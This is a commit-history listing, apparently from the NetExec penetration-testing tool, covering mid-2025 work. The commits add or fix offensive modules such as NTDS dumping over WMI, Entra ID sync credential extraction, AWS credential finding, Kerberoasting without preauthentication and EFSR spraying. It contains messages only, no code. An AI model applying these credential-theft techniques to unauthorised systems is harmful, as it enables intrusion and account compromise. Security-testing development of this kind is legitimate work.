Compare commits

..
Author SHA1 Message Date
Marshall Hallenbeck 1a6f0c801f feat(connection): log port as well 2025-07-31 14:34:09 -04:00
Marshall Hallenbeck 6a9e776ef5 refactor(protocol-loader): move loading protocols to a function so we can call it other places 2025-07-31 14:33:44 -04:00
Alex a8183f8851 Merge pull request #821 from Pennyw0rth/neff-add-wmi-ntds-dump-raw
Add WMI to ntds_dump_raw module
2025-07-24 15:34:41 +02:00
Alex 2befb3a99f Merge branch 'main' into neff-add-wmi-ntds-dump-raw 2025-07-24 15:26:53 +02:00
Alex 19a54d5aba Merge pull request #820 from Pennyw0rth/neff-fix-wmi
Refactor WMI protocol execution
2025-07-24 15:25:22 +02:00
Alexander Neff 65d3723e7b Remove string from testing, also increase characters for registry path 2025-07-24 09:21:39 -04:00
Alexander Neff 9ebac0f5df Enable dump for wmi with powershell execution 2025-07-24 08:56:23 -04:00
Alexander Neff b717f30629 Bug fixes for when the command already starts with 'powershell ...' 2025-07-23 18:38:24 -04:00
Alexander Neff af822e597a Add -X for powershell execution 2025-07-23 18:05:22 -04:00
Alexander Neff cb3564117d Add powershell command execution method instead of using powershell in normal exec 2025-07-23 15:34:04 -04:00
Alexander Neff 64aa7c05ab Remove print statement 2025-07-23 09:41:59 -04:00
Alexander Neff 917dcb505e Clean up after retrieving files and dynamically try 10s to get the output in case stuff takes time 2025-07-23 09:30:31 -04:00
Alexander Neff bab59de4bf Optimize execution speed 2025-07-23 08:56:39 -04:00
Alexander Neff e192f3cbb8 Split result output into 16KB chunks because that is the max value for registry keys 2025-07-23 07:53:15 -04:00
Alexander Neff 188ef13c87 Encode to b64 with powershell and not certutil 2025-07-23 06:15:01 -04:00
Alex a4d54d1673 Merge pull request #468 from 0xb11a1/raw-ntds-copy
Add raw-ntds-copy module
2025-07-22 18:26:43 +02:00
Alex 7328c08182 Merge pull request #805 from termanix/patch-2
Update LDAP find-computer Module
2025-07-21 17:02:23 +02:00
Alexander Neff 36573e393e Linting 2025-07-21 10:57:15 -04:00
Alexander Neff 86b74efd43 Improve module description 2025-07-21 10:52:24 -04:00
termanix 253d8ab93b removed exception handling
Signed-off-by: termanix <[email protected]>
2025-07-21 17:38:18 +03:00
Alex 776b84af85 Merge pull request #812 from Pennyw0rth/neff-fix-wmi
Fix command execution in wmi
2025-07-21 11:11:21 +02:00
Alex ed7db99fab Merge pull request #813 from termanix/terman-fix
Fix NFS Network Value
2025-07-21 09:58:22 +02:00
termanix 96a8ed2d02 fix group_names if returns empty 2025-07-21 03:36:24 -04:00
Alex 4e8d65093b Merge pull request #811 from Pennyw0rth/neff-fix-daclread
Add ldap parsing to daclread
2025-07-20 20:05:17 +02:00
Alexander Neff ffa46360a7 Execute each command seperatly so files are still deleted when previous commands fail 2025-07-20 14:04:52 -04:00
Alexander Neff 50edae4df1 Fix command execution in modules with output but no line printing 2025-07-20 14:02:34 -04:00
Alexander Neff 37de88547e Linting 2025-07-20 14:01:14 -04:00
Alexander Neff 8892b6a5d8 Fix winrm execution 2025-07-20 13:58:35 -04:00
Alexander Neff 985a9880e0 Remove unused function 2025-07-20 08:22:35 -04:00
Alexander Neff 477940e6ff Add ldap parsing to user info function 2025-07-20 08:21:25 -04:00
Alexander Neff 644298ecce Add ldap parsing to sid resolv function 2025-07-20 08:16:05 -04:00
Alexander Neff e4095ce851 Replace manual parsing with ldap parser and remove duplicate code 2025-07-20 08:08:04 -04:00
Alexander Neff bdfd869c94 Add searchControls to search function 2025-07-20 08:05:10 -04:00
Alexander Neff 8cb93db83c Fix file as target 2025-07-20 08:04:56 -04:00
Alexander Neff c43a64c03f Rename module from raw-ntds-copy to ntds-dump-raw 2025-07-20 07:35:54 -04:00
Alexander Neff aa8b1fd97b Add debug logging for exceptions 2025-07-20 07:30:03 -04:00
Alexander Neff 788ba90b97 Move powershell script to file instead of b64 inline 2025-07-19 12:57:43 -04:00
Alexander Neff f7fa1fa1b4 Formatting 2025-07-19 08:24:15 -04:00
Alex 0b5aebd402 Merge branch 'main' into raw-ntds-copy 2025-07-19 14:06:14 +02:00
Alex 858d211417 Merge pull request #800 from Geetub/slinky_set_lnk_target
Slinky set lnk target
2025-07-19 13:24:59 +02:00
Geetub d6fcee6c80 Merge branch 'main' into slinky_set_lnk_target 2025-07-19 13:00:49 +03:00
theuser aa7f6d07b8 Merge branch 'raw-ntds-copy' of github.com:0xb11a1/NetExec into raw-ntds-copy 2025-07-19 13:50:41 +04:00
theuser 2bff24a3ff Code cleanup, remove unnecessary debug information and add comments 2025-07-19 13:42:23 +04:00
termanix f1d39a6e8a DNS resolver change to with connection object 2025-07-18 10:53:21 -04:00
termanix a0fb0f4cca Merge branch 'main' into patch-2 2025-07-18 17:50:01 +03:00
Alex e99e5c244c Merge pull request #808 from Pennyw0rth/neff-fix-veeam
Fix veeam script if there is no salt reg key
2025-07-17 18:21:12 +02:00
Alexander Neff 44624b703c Fix veeam script if there is no salt reg key 2025-07-17 11:43:46 -04:00
mpgn da949f1875 Merge pull request #804 from Pennyw0rth/hosts
Removing the horrible multiple hosts option
2025-07-17 00:15:58 +02:00
mpgn 95cd4f3383 Merge pull request #798 from Pennyw0rth/pso
Switch pso module to core feature
2025-07-17 00:15:41 +02:00
termanix e3f7168858 IP resolver change to with DNS query 2025-07-16 12:41:13 -04:00
mpgn e70aaa54c4 fix ruff 2025-07-16 17:36:00 +02:00
Alex 8d53bb5873 Merge pull request #803 from Pennyw0rth/neff-fix-get-network
Refactor get-network and fix encoding
2025-07-16 17:29:52 +02:00
Alexander Neff 753a773043 Remove undocumented option and unique IPs if only IPs are returned 2025-07-16 11:13:00 -04:00
Alexander Neff a565676ea5 Remove check for Record type 'A' which would filter all other 2025-07-16 11:02:19 -04:00
Alexander Neff 6515b0da1a Remove unused functions and imports 2025-07-16 10:44:14 -04:00
Alexander Neff a44389c17b Add correct ldap parsing 2025-07-16 10:42:38 -04:00
mpgn 4dd479a956 remove blank line 2025-07-16 16:25:49 +02:00
mpgn 95e7cdfc9f remove the horrible multiple hosts option 2025-07-16 16:22:04 +02:00
Geetub 0565e4e176 Use ico extension as target
Signed-off-by: Geetub <[email protected]>
2025-07-16 12:51:23 +03:00
Geetub b974d3d67c Use .exe as target
Use .exe as target, since it triggers an SMB query also on Windows Explorer "Details view".

Signed-off-by: Geetub <[email protected]>
2025-07-16 12:08:54 +03:00
mpgn 2d0bd8e443 add parsed 2025-07-16 09:33:48 +02:00
mpgn c174e87237 fix search 2025-07-15 23:50:39 +02:00
Geetub d5e6e6d6f3 Use pylnk3.for_file() to set LNK target.
Signed-off-by: Geetub <[email protected]>
2025-07-16 00:14:27 +03:00
mpgn ea525f987f readd missing function 2025-07-15 18:34:13 +02:00
mpgn 6bf9b8acb3 fix ruff 2025-07-15 18:30:08 +02:00
mpgn 9c68f76b73 update test 2025-07-15 18:28:08 +02:00
mpgn 0c967f2b95 fix ruff 2025-07-15 18:27:11 +02:00
mpgn f32dd56fb3 switch pso module to core feature 2025-07-15 18:22:30 +02:00
mpgn 11d484b268 Merge pull request #788 from Pennyw0rth/opsec 2025-07-15 12:03:18 +02:00
Alex 5c2afa9623 Merge branch 'main' into raw-ntds-copy 2025-07-15 00:21:19 +02:00
Alex 8f973b1000 Merge pull request #764 from Pennyw0rth/neff-add-entra-id-sync-extractor 2025-07-14 16:47:34 +02:00
Marshall Hallenbeck 4b37669bda Merge pull request #794 from Pennyw0rth/Marshall-Hallenbeck-update-pr-template
docs: add deprecation change type and clarify e2e tests checklist
2025-07-14 09:18:15 -04:00
Alexander Neff b2503951ab Remove opsec flags of new modules 2025-07-14 08:18:40 -04:00
Alex 46f6dada23 Merge branch 'main' into opsec 2025-07-14 14:17:25 +02:00
Alexander Neff f2cef11e04 Add new ps1 script for extraction 2025-07-14 08:04:48 -04:00
Alexander Neff 0a8ada49f8 Replace msol module with the new entra-id module 2025-07-14 08:04:25 -04:00
Alex 266c6714aa Merge pull request #556 from crosscutsaw/dump-computers
new module: ldap > dump-computers
2025-07-14 13:53:18 +02:00
Alexander Neff e259128ead Linting 2025-07-14 07:50:46 -04:00
Alexander Neff 0eb65ed347 Add e2e test 2025-07-14 07:49:02 -04:00
Alexander Neff 239cc80516 As there have to be computers in a domain (at least the DC) don't check if there are anwsers 2025-07-14 07:48:28 -04:00
Alexander Neff 234b41efa5 Simplify logic 2025-07-14 07:45:02 -04:00
Alexander Neff 8b3bc6b89a Fix description 2025-07-14 07:40:57 -04:00
Alex 3a7b04f83f Merge branch 'main' into dump-computers 2025-07-14 13:39:18 +02:00
crosscutsaw 16a65d4c26 Update dump-computers.py
Signed-off-by: crosscutsaw <[email protected]>
2025-07-14 12:59:07 +03:00
Marshall Hallenbeck c465d67806 Merge branch 'main' into Marshall-Hallenbeck-update-pr-template 2025-07-13 19:39:46 -04:00
Marshall Hallenbeck 9566b0d31e Merge pull request #795 from Pennyw0rth/Marshall-please-update-your-version
add huge disclaimer to issue template
2025-07-13 19:37:57 -04:00
Marshall Hallenbeck 9d6939a7b1 try to get peoples attention even more
idea of @NeffIsBack 

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 19:04:42 -04:00
Alex b2aac4e5af Merge pull request #701 from fpreynaud/wcc_llmnr
[WCC] Improve NBTNS check and add LLMNR check
2025-07-14 00:43:52 +02:00
Marshall Hallenbeck 2522ee19df add huge disclaimer to issue template
users continuously post issues that have already been resolved, I hope this massive disclaimer will cut down on that

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 17:24:33 -04:00
Marshall Hallenbeck 9ad951c781 Merge branch 'main' into opsec 2025-07-13 16:14:51 -04:00
Marshall Hallenbeck 22712d6b36 docs: clarify how to fill in checklists
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 16:06:11 -04:00
Marshall Hallenbeck a57d1db4f4 docs: add deprecation change type and clarify e2e tests checklist
If we deprecate something, we should have a type of change checkbox (not every deprecation is breaking)
People are adding features and modules without adding them to the e2e tests

Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-13 16:00:08 -04:00
Alex 97049a06bd Merge pull request #789 from azoxlpf/fix/get-sid-kcache
fix(ldap): support get-sid and admin flag when using --use-kcache
2025-07-13 21:12:11 +02:00
theuser e51aa58475 Move raw-ntds-copy to a module 2025-07-13 14:26:11 +04:00
azoxlpf 70463e54a6 fix(ldap): support get-sid and admin flag when using --use-kcache 2025-07-12 21:38:36 +02:00
Alex 68e36dc8ed Merge pull request #769 from sepauli/add-info-field
Add get-info-users module
2025-07-10 23:49:15 +02:00
Alexander Neff 5dd82ffe2d Apply formatting for better readability 2025-07-10 17:45:53 -04:00
Alexander Neff 443a87bf95 Simplify logic 2025-07-10 17:43:23 -04:00
Alexander Neff b9827e5b65 Formatting, remove unused imports and small code improvements 2025-07-10 17:33:53 -04:00
Alex fc71ef81ad Merge pull request #783 from Dfte/qwinsta_grep
Allows --qwinsta to filter for a specific user
2025-07-10 23:07:08 +02:00
Alexander Neff b7d8eeb2bc Merge branch 'main' into qwinsta_grep 2025-07-10 17:04:52 -04:00
Alexander Neff 6796ffaf63 Set empty string as default not boolean 2025-07-10 17:01:46 -04:00
Alexander Neff d60f5b8fad Add comments 2025-07-10 17:00:45 -04:00
Alexander Neff 7f294ae65a Remove already imported os 2025-07-10 15:52:14 -04:00
Alexander Neff 7b6ca4e9dc Fix format string in template 2025-07-10 15:51:38 -04:00
Alex 7ab386f55d Merge pull request #787 from Dfte/fix_shares_filter
Patches the --filter-shares so that it correctly finds READ,WRITE perm
2025-07-10 01:40:06 +02:00
Alexander Neff 67d8e9ec6c Remove const otherwise the default filter is READ,WRITE 2025-07-09 19:36:06 -04:00
mpgn 1d80c40d05 Merge pull request #784 from azoxlpf/fix/kerberos-ridbrute-spn
setRemoteName to avoid Kerberos SPN resolution error in rid_brute
2025-07-08 00:10:02 +02:00
azoxlpf 3c521b750e Fix indentation 2025-07-07 12:53:03 +02:00
azoxlpf 45760c1031 Fix 2025-07-07 12:50:41 +02:00
Aurélien CHALOT adbf4f5926 Remove useless blank line 2025-07-07 12:21:38 +02:00
Aurélien CHALOT 3cdc648073 Remove log.fail messages 2025-07-07 12:20:29 +02:00
Aurélien CHALOT 9049e58252 Remove log.fail messages 2025-07-07 12:01:42 +02:00
mpgn 246e7e5d27 remove the horrible opsec flag 2025-07-07 11:26:06 +02:00
mpgn aa6e504aa5 remove the horrible opsec flag 2025-07-07 11:22:25 +02:00
Aurélien CHALOT 3549ce5e76 Lower permission checks, merge both options into --shares and add deprecation warning 2025-07-07 10:41:30 +02:00
Alex 638c10145a Merge pull request #782 from Dfte/tasklist_grep
Add process filtering in --tasklist
2025-07-06 21:31:52 +02:00
Aurélien CHALOT e6ce6da442 Patches the --filter-shares so that it correctly finds READ,WRITE perm 2025-07-06 20:27:16 +02:00
azoxlpf ec66078bc2 setRemoteName to avoid Kerberos SPN resolution error in rid_brute 2025-07-06 19:34:44 +02:00
Sebastian Pauli db93f5b026 add change requests
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-05 19:05:24 +02:00
Alexander Neff bfcc73541f Merge branch 'main' into tasklist-filter 2025-07-05 12:06:43 -04:00
Alex dc239dad22 Merge pull request #779 from Dfte/add_taskkill
Add the taskkill option
2025-07-05 18:05:04 +02:00
Alexander Neff c1dfefd2a1 Use build in exception traceback instead of traceback.format_exc 2025-07-05 10:50:25 -04:00
Alexander Neff 1865d420cf Allow grep like searching 2025-07-05 10:35:25 -04:00
Alexander Neff 2505be41ee Remove spaces 2025-07-05 10:26:05 -04:00
Alexander Neff 8cd6447ca1 Use format strings 2025-07-05 10:25:51 -04:00
Aurélien CHALOT 1c262fe6ff Update so that it supports passing a file with usernames 2025-07-05 14:56:58 +02:00
Aurélien CHALOT 2febbf654c Updates qwinsta 2025-07-05 10:21:48 +02:00
Aurélien CHALOT b01d410fd6 Updates tasklist 2025-07-05 10:00:39 +02:00
Alex 991f871b49 Merge pull request #777 from Dfte/patch_qwinsta_tasklist
Patch --qwinsta --tasklist stack trace
2025-07-04 22:03:14 +02:00
Aurélien CHALOT ed4e4a1e3e Add the taskkill option 2025-07-04 18:30:33 +02:00
Aurélien CHALOT 9e8ae0364d Patch --qwinsta --tasklist stack trace 2025-07-04 15:32:01 +02:00
Alex bbca423a1e Merge pull request #763 from Pennyw0rth/neff-add-entry-id-finder
Add module to find the entra-id sync server
2025-07-03 18:56:05 +02:00
Alex f9358078cd Merge pull request #774 from Powett/patch-1
Update bitlocker.py - Corrected BitLocker EncryptionMethods
2025-07-03 18:30:32 +02:00
Alex 70e3fc8a81 Merge pull request #775 from Pennyw0rth/neff-patch-1
State that using a BINARY for schtask_as is optional
2025-07-03 18:14:52 +02:00
Alexander Neff ac15a720d4 State that using a BINARY for schtask_as is optional 2025-07-03 12:10:25 -04:00
Alex 1b620c0d16 Merge pull request #735 from kaisersource/patch-1
Image size improvements and pinned Netexec version
2025-07-03 17:41:13 +02:00
Alexander Neff 20d6e319dc Add info log message to get the raw info of the found entra id related accounts 2025-07-03 11:38:40 -04:00
Powett fdb5608fed Update bitlocker.py - Corrected BitLocker EncryptionMethods
According to https://learn.microsoft.com/en-us/windows/win32/secprov/win32-encryptablevolume, the correct mapping is as follows.

Signed-off-by: Powett <[email protected]>
2025-07-03 16:37:36 +02:00
mpgn b0263cb93b Merge pull request #773 from azoxlpf/fix/smb-error-coloring
fix: color SMB STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT as magenta
2025-07-02 22:39:16 +02:00
azoxlpf 01c2bd5508 fix: color SMB STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT as magenta 2025-07-02 22:20:30 +02:00
Alex 3bccec9839 Merge pull request #772 from Pennyw0rth/neff-fix-pre2k
Only display success message if accounts found
2025-07-02 21:40:33 +02:00
Alexander Neff 67e21e177e Only display success message if accounts found 2025-07-02 15:14:29 -04:00
Sebastian Pauli 1a4ea1eb37 fix poetry checks
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-01 19:26:27 +02:00
Sebastian Pauli 39e8e6e264 create get-info-users
Signed-off-by: Sebastian Pauli <[email protected]>
2025-07-01 18:53:32 +02:00
Alex c1b04216d1 Merge pull request #767 from tiagomanunes/bugfix-winrm-ps_execute 2025-07-01 10:24:33 +02:00
Alex e4754628d1 Merge pull request #766 from v3gahax/main 2025-07-01 10:22:43 +02:00
Tiago Nunes 8db4ba446a Fix winrm's ps_execute() to return output 2025-07-01 09:00:22 +02:00
v3ga 3db348e262 Update wcc.py
Corrected typos in wcc.py

Signed-off-by: v3ga <[email protected]>
2025-06-30 19:09:13 -07:00
Alexander Neff 915faa2564 Add disclaimer, that the Entra ID sync service is probably not installed on the target 2025-06-30 06:31:03 -04:00
Alexander Neff d56be12d17 Highlight the IP address 2025-06-30 06:18:05 -04:00
mpgn 29a437938c Merge pull request #765 from azoxlpf/Fix/TGS-REP
fix hashcat/John format for TGS-REP
2025-06-30 10:57:35 +02:00
azoxlpf 4c0ebf0b1e fix hashcat/John format for TGS-REP 2025-06-30 10:38:55 +02:00
Alexander Neff e1136f681c Formatting 2025-06-29 19:38:44 -04:00
Alexander Neff ce157470a1 Finish entry-sync-creds module 2025-06-29 19:38:35 -04:00
Alexander Neff 48a0e5e3f2 Heavily reduce ps script length to fit in limit 2025-06-29 19:38:18 -04:00
Alexander Neff dc2d748b6e Typo 2025-06-29 17:26:09 -04:00
Alexander Neff ec2f4cc500 Rename typo in filename 2025-06-29 17:22:59 -04:00
Alexander Neff 665b77d5e6 Add semi working Extractor script for entra id creds 2025-06-29 17:21:18 -04:00
Alexander Neff 23bee813b7 Remove unnecessary host info and formatting 2025-06-29 11:53:56 -04:00
Alexander Neff 8415e25698 Init module to extract entry id sync credentials 2025-06-29 11:43:47 -04:00
Alexander Neff e2a7d5c597 Add module to find the entra-id sync server 2025-06-29 11:42:58 -04:00
zblurx d28b11df42 Merge pull request #760 from Pennyw0rth/enum_links_fix
Fix enum_links module privilege requirement
2025-06-26 18:37:24 +02:00
zblurx 716ddf2ca0 fix enum_links module privilege requirement 2025-06-26 17:07:41 +02:00
mpgn dea04c9664 Merge pull request #756 from Pennyw0rth/preauth 2025-06-25 08:22:23 +02:00
mpgn a6225e5df7 fix review 2025-06-25 00:30:03 +02:00
mpgn 64cbd35206 update flag to better understant 2025-06-24 21:40:02 +00:00
mpgn 26c3f661a2 Merge pull request #755 from Pennyw0rth/mssql
Update mssql enum login
2025-06-24 11:31:59 +02:00
mpgn 1ffe908f80 fix review 2025-06-24 10:36:27 +02:00
mpgn 9bd4f91d58 fix review 2025-06-24 10:29:33 +02:00
mpgn 832969cf09 better output 2025-06-24 00:38:05 +02:00
mpgn cf99d9cd45 better mssql enum login 2025-06-23 21:52:27 +02:00
Alex e446d36779 Merge pull request #750 from Pennyw0rth/neff-fix-issues 2025-06-21 19:25:26 +02:00
Alexander Neff e87e80a58d Fix file path on windows, #746 2025-06-19 13:52:32 -04:00
Alexander Neff d317d4993f Fix #748 2025-06-19 13:52:09 -04:00
Alex 4d0f950de0 Merge pull request #719 from azoxlpf/feat/kerberoast-no-preauth
Add Kerberoasting support with no-preauth user
2025-06-19 17:25:38 +02:00
Alexander Neff 203f532401 Linting 2025-06-19 11:15:20 -04:00
zblurx 4f8587f6a7 Merge pull request #745 from Pennyw0rth/fix-cbt-check
Fix #744
2025-06-19 11:34:18 +02:00
Alex 4d7ec6ea92 Merge pull request #747 from Reelix/patch-1 2025-06-18 17:11:01 +02:00
Reelix 6562500d0a Fixed minor typo in issue template
openning -> opening

Signed-off-by: Reelix <[email protected]>
2025-06-18 16:59:11 +02:00
zblurx b7259fd68c Fix #744 2025-06-17 16:58:58 +02:00
Alex 9ca183d549 Merge pull request #743 from Pennyw0rth/neff-fix-cbt-check
Fix conn reset error on windows if dc doesnt have tls cert
2025-06-17 13:57:14 +02:00
mpgn f227432e7d Merge pull request #739 from Pennyw0rth/fix_is_dc
Fix function to check if hosts is a dc or not
2025-06-17 13:54:08 +02:00
Alexander Neff 79b6c7a2ad Fix conn reset error on windows if dc doesnt have tls cert 2025-06-17 07:38:23 -04:00
Alex 0630e22503 Merge pull request #608 from termanix/notepad
New SMB Module Notepad
2025-06-17 13:27:17 +02:00
Alexander Neff 74ecd3ab37 Don't break out of loop if one file doesn't have meaningful content 2025-06-17 07:07:50 -04:00
Alexander Neff 17e03d2405 Retrieve files after killing the process 2025-06-17 07:07:23 -04:00
mpgn ca932eb383 fix error is dc 2025-06-17 09:41:20 +02:00
Alex a48cbdb562 Merge pull request #741 from Pennyw0rth/neff-fix-ldap 2025-06-16 21:49:29 +02:00
Alexander Neff 659c2256dc Skip cbt check if port explicitly set to 389 2025-06-16 14:34:14 -04:00
mpgn 01b83d44d3 fix review 2025-06-16 17:56:18 +00:00
termanix 05ad12f911 add kill option if user wants to kill process and read files 2025-06-16 13:50:33 -04:00
termanix 059a20b52b Merge branch 'main' into notepad 2025-06-16 18:05:42 +03:00
mpgn a81cc6740b Merge branch 'main' into feat/kerberoast-no-preauth 2025-06-16 16:42:11 +02:00
Alexander Neff e17b5ada8c Prevent crash when password flag was not specified 2025-06-16 09:56:49 -04:00
Alexander Neff 5fb9946d8a Swap logic to -u asreproastable --no-preauth kerberoastable 2025-06-16 09:50:19 -04:00
Alexander Neff dd637cfb18 Fix setting username when we authenticate with ccache 2025-06-16 09:47:27 -04:00
Alexander Neff b6a0599252 Require username/user list for no-preauth to kerberoast them 2025-06-16 08:54:24 -04:00
Alexander Neff 9e780c71a9 Use kerberos with no-preauth and allow preauth authentication if flag is set 2025-06-16 08:53:50 -04:00
Alexander Neff 4cd0bf12c7 Fix indentation 2025-06-16 08:01:18 -04:00
Alex fde3de726e Merge pull request #455 from dev-fortress/aws-credentials
New module: AWS Credentials Finder
2025-06-16 13:49:06 +02:00
Alexander Neff 09bdf0b6a6 Apply changes by @dev-fortress 2025-06-16 07:41:29 -04:00
Alexander Neff 6ef84832bf Revert "Update aws-credentials.py"
This reverts commit fc0c615fcd.
2025-06-16 07:40:57 -04:00
azoxlpf 2922c04645 fix: corrected bad variable name 2025-06-16 08:31:47 +02:00
mpgn 9a755391f1 check only if port 135 is open, better faster 2025-06-15 23:57:53 +02:00
mpgn 14b1bc63b8 add more resiliant check on dc in case rpc is filtered 2025-06-15 22:53:45 +02:00
mpgn 3fe32d6530 add timeout to isdc function in case rpc is blocked 2025-06-15 22:39:43 +02:00
Braiant Giraldo fc0c615fcd Update aws-credentials.py
Refined AWS credentials detection: updated both Bash and PowerShell scripts to search only for files named 'credentials' that contain the keyword 'aws', which is consistently present in relevant AWS configuration files. Removed 'config' from the scope after confirming it contains no useful information. Also suppressed 'permission denied' errors in the Bash script for cleaner output during scans.

Signed-off-by: Braiant Giraldo <[email protected]>
2025-06-14 19:40:41 -05:00
Professor Bossetti 0f6f6ad9e6 Merge branch 'main' into patch-1 2025-06-14 12:43:01 +02:00
Alex 31acd22652 Merge pull request #737 from Pennyw0rth/neff-fix-badsuccessor 2025-06-14 11:26:59 +02:00
Professor Bossetti 3332bee3d5 Alignment with main branch 2025-06-14 06:54:26 +00:00
Alexander Neff 094cab542f Fix dns resolution when finding 2025 dc 2025-06-13 18:12:12 -04:00
zblurx 2cd67b9dd3 Merge pull request #718 from rtpt-romankarwacik/efsr_spray_module
Add efsr_spray module
2025-06-13 15:03:56 +02:00
zblurx 4a7ad60f62 Merge branch 'main' into efsr_spray_module 2025-06-13 15:01:27 +02:00
Professor Bossetti 2bd75d987f Image size improvements and pinned Netexec version
Minimized final image size (From ~2 GB to ~350 MB)
Pinned a stable NetExec version

Signed-off-by: Professor Bossetti <[email protected]>
2025-06-13 12:09:51 +02:00
azoxlpf f3e60e5ed6 refactor(kerberos): unify AES etype handling and use f-strings 2025-06-13 10:06:28 +02:00
fpreynaud d4168b425b Merge branch 'main' into wcc_llmnr 2025-06-13 09:41:13 +02:00
Alex aec6448241 Merge pull request #493 from Yeeb1/module_ggp_privs
Add new SMB module to extract GPO deployed privilege assignments
2025-06-13 00:33:33 +02:00
Alexander Neff 25fee91e4e Replace share listing with test read on SYSVOL share 2025-06-12 18:29:01 -04:00
Alexander Neff 55cd9bb88d Fix retrieving defaultNamingContext from ldap connection 2025-06-12 18:14:47 -04:00
Alexander Neff 64ccbbb5df Formatting 2025-06-12 18:14:08 -04:00
Alexander Neff bfada649f3 Formatting 2025-06-12 16:39:52 -04:00
Alex 1779e842ff Merge branch 'main' into module_ggp_privs 2025-06-12 21:02:16 +02:00
Roman Karwacik ff0c47bd5e check if pipe was activated even if deletion was not successful 2025-06-12 12:31:41 +02:00
Alex 0cb26b9760 Merge branch 'main' into efsr_spray_module 2025-06-11 11:24:07 +02:00
Roman Karwacik dbd476d3aa linting 2025-06-11 11:07:51 +02:00
Roman Karwacik a5dbfdbab4 add option to exclude shares and exclude SYSVOL by default 2025-06-11 11:06:24 +02:00
termanix 7a39c4bd46 removed unnecessary lines, editted try&except blocks 2025-06-10 16:03:22 -04:00
termanix 15376c3fdb Merge branch 'Pennyw0rth:main' into notepad 2025-06-10 17:26:29 +03:00
Alex 5da5bf1271 Merge pull request #649 from d4ytox/Refactoring-NXC_PATH
Refactoring nxc path and adding support for XDG Base Directory - addressing issue #558
2025-06-10 14:54:32 +02:00
Alexander Neff 06c0a7fb3d Linting 2025-06-10 08:43:08 -04:00
Alexander Neff ea0a42af7c Fix path in user-desc module 2025-06-10 08:38:57 -04:00
Alexander Neff e2351bac12 Remove legacy code 2025-06-10 08:22:45 -04:00
Alexander Neff 5101a96e03 Replace config paths with variable and formatting 2025-06-10 08:14:51 -04:00
Alexander Neff 029ec26024 Remove legacy code 2025-06-10 08:03:49 -04:00
Alexander Neff b9bee6bb0b Use NXC_PATH instead of XDG env var and also initialize TMP folder when nxc folder exists 2025-06-10 07:59:27 -04:00
Alexander Neff 07803cb58c Use NXC_CONFIG instead of retrieving it with NXC_PATH/nxc.conf 2025-06-10 07:58:44 -04:00
Alex 7ea164af97 Normpath for nxc folder 2025-06-10 12:47:02 +02:00
Alex 0b4d0bb21c Replace single quotes 2025-06-10 12:46:37 +02:00
Alex 4af8b4a826 Merge branch 'main' into refactor-nxc-path 2025-06-10 12:45:33 +02:00
Roman Karwacik 318ac2ec61 move fail logs into single row for better readability 2025-06-10 09:06:42 +02:00
Roman Karwacik aae875d1cd removed hardcoded error messages 2025-06-10 09:03:52 +02:00
Alexander Neff 3bc5371dd9 Reset tab counter for each user 2025-06-09 16:28:34 -04:00
Alexander Neff 609b0ee2db Formatting 2025-06-09 15:48:03 -04:00
Alexander Neff bbd0ae1200 Formatting 2025-06-09 15:39:37 -04:00
Alex 7a1eca10d6 Merge branch 'main' into notepad 2025-06-09 21:36:32 +02:00
Alex 3591950f02 Merge pull request #725 from Mojo8898/main
Fixing --generate-hosts-file smb option
2025-06-09 15:31:26 +02:00
Alex 1393d13106 Merge pull request #561 from crosscutsaw/presence
new module: smb > presence
2025-06-08 18:24:41 +02:00
Mojo8898 eb7b522552 Fixing --generate-hosts-file smb option 2025-06-08 04:42:58 -04:00
Alex 812c277daa Merge pull request #724 from Pennyw0rth/neff-add-ls-check
Add error handling if we can't mount share with --ls
2025-06-07 15:13:52 +02:00
Alexander Neff cdecf3f979 Add error handling if we can't mount share with --ls 2025-06-07 14:52:41 +02:00
Alex 9f7c35cb33 Merge pull request #722 from Pennyw0rth/neff-fix-version-log
Move version log after file logger is attached
2025-06-06 16:30:33 +02:00
Alexander Neff 8e30699886 Move version log after file logger is attached so it is in the file log as well 2025-06-06 10:23:30 -04:00
azoxlpf 358c4ad3fc Add Kerberoasting support with no-preauth user 2025-06-04 11:11:47 +02:00
Roman Karwacik f2b180e9ca Add efsr_spray module 2025-06-04 09:26:04 +02:00
Alex fbc787c620 Merge pull request #717 from Pennyw0rth/neff-fix-query
Fix querying when non searchResultEntries are returned
2025-06-03 22:39:20 +02:00
Alexander Neff 76ed75e58b Skip non-searchResult entries similar to how the parser works 2025-06-03 15:59:05 -04:00
Alex 3e3987451b Merge pull request #712 from Pennyw0rth/neff-fix-asreproast-anon
Enable asreproast with anonymous ldap logins
2025-06-03 11:17:02 +02:00
Alex 9d3f34e4b6 Merge pull request #711 from t94j0/main
Update kerberoast command output to be idiomatic
2025-06-03 11:15:09 +02:00
Alex 6decd7fb00 Merge pull request #714 from Pennyw0rth/neff-fix-subnets
Add base_dn option to subnet module
2025-06-03 11:09:55 +02:00
Alexander Neff 10e7c62c30 Allow anonymous auth with asreproast and kerb/hash auth 2025-06-03 05:07:41 -04:00
Alexander Neff e2e70a7193 Allow an empty nt hash 2025-06-03 05:07:21 -04:00
Alexander Neff dc0bde6d80 Add base_dn option to subnet module 2025-06-03 04:40:39 -04:00
Max Harley 73dc41122a Address comments from NeffIsBack 2025-05-30 11:51:42 -04:00
Alexander Neff 2a6b4c7e4b Formatting 2025-05-29 19:25:34 -04:00
Alexander Neff ad637e1c8e Enable asreproast with anonymous ldap logins 2025-05-29 19:15:19 -04:00
Alexander Neff e8f62d23c2 Hide non admins in --verbose 2025-05-29 18:30:07 -04:00
Alexander Neff 655c272462 Functionalize rpc methods, fix kerberos auth and resolve usernames for non-admin SIDs 2025-05-29 18:23:03 -04:00
Alexander Neff f24bb77b0c Formatting 2025-05-29 17:39:14 -04:00
Alexander Neff e7138b6a15 Add extraction of scheduled tasks 2025-05-29 17:38:40 -04:00
Max Harley 74c252656a Update kerberoast command output to be idiomatic
The output currently shows as username\domain. Most of the time, tools output
usernames in the opposite way where the domain is first, and then the username
2025-05-29 17:13:14 -04:00
Alexander Neff 9a11512426 Formatting 2025-05-29 14:19:04 -04:00
Alexander Neff 2e86a0e521 Functionalize admin enumeration 2025-05-29 13:55:26 -04:00
